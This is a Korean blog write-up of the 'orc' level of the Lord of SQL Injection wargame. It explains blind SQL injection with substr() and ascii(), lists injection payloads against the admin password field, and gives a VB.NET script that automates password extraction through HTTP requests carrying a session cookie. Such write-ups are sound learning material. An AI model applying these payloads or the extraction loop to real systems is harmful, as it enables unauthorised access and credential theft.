생선이의 잡다한 블로그

Lord of SQL Injection - ORC 본문

Hacking/ Lord of SQL Injection

Lord of SQL Injection - ORC

생선스프 2018. 5. 7. 20:53
반응형

 


 

admin의 pw를 알아내야 합니다

 

substr(값, 시작할 위치, 범위)

이 substr을 이용하면

substr(pw, 1, 1) 이렇게 하면 pw에서 1번째 자리부터 1개

substr(pw, 2, 1) 이렇게 하면 pw에서 2번째 자리부터 1개

이렇게 한 자리씩 맞는지 확인을 해줄겁니다

 

그리고 여기에 ascii(값)을 이용해 줄겁니다

 

ascii(subsrt(pw,1,1)) = 10

위와 같이 적어주면 pw의 첫 번째 값의 아스키코드가 10인지 비교하게 됩니다

 

이제 아래와 같이 구문을 적어서 비밀번호를 잘 맞춰봅니다

id에 admin을 적어준 이유는 admin의 pw 값을 비교해야 하기 때문입니다

?pw=' or id='admin' and ascii(substr(pw,1,1)) = 47 %23

?pw=' or id='admin' and ascii(substr(pw,1,1)) = 48 %23

?pw=' or id='admin' and ascii(substr(pw,1,1)) = 49 %23

?pw=' or id='admin' and ascii(substr(pw,1,1)) = 50 %23

 


 

 

 


 

와아아아아 첫 번째 자리를 찾았습니다

혹시 비밀번호가 한 자리일지도 모르니 넣어봅니다

?pw=2

당연히 될리가 없습니다

 

 

이제 두 번째 자리를 찾습니다

?pw=' or id='admin' and ascii(substr(pw,2,1)) = 49 %23

?pw=' or id='admin' and ascii(substr(pw,2,1)) = 50 %23

 

귀찮습니다

대신 해주는 프로그램을 만드려고 합니다

 

동작 순서는

-첫 번째자리의 숫자를 자리의 값을 찾는다

-확인해본다

-아니면 두 번째를 찾는다

-확인해본다

 

이런식으로 코드를 짜면 되겠네요!

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim winhttp As New WinHttp.WinHttpRequest
        Dim pw = ""
 
        Dim count = 1
        Dim i = 33
        While True
            Label1.Text = pw + Chr(i)
 
            winhttp.Open("get""http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' and ascii(substr(pw," + count.ToString + ",1))=" + i.ToString + "%23")
            winhttp.SetRequestHeader("cookie""PHPSESSID=당신의값;")
            winhttp.Send()
 
            If Split(winhttp.ResponseText, "Hello").Length = 3 Then
                pw += Chr(i)
 
                winhttp.Open("get""http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=" + pw)
                winhttp.SetRequestHeader("cookie""PHPSESSID=당신의값;")
                winhttp.Send()
 
                If Split(winhttp.ResponseText, "Hello").Length = 3 Then
                    Exit While
                End If
                count += 1
                i = 33
                Continue While
            End If
            i += 1
        End While
        Label1.ForeColor = Color.Red
cs

 

저는 vb.net으로 아래와 같이 코드를 만들어 주었습니다

이제 이 코드로 패스워드를 찾아서 넣으면 끝납니다!

 

 

 

 

반응형

'Hacking > Lord of SQL Injection' 카테고리의 다른 글

Lord of SQL Injection - Wolfman  (2) 2018.05.07
Lord of SQL Injection - Goblin  (0) 2018.05.07
Lord of SQL Injection - Cobolt  (0) 2018.05.07
Lord of SQL Injection - Gremlin  (0) 2018.05.07
Comments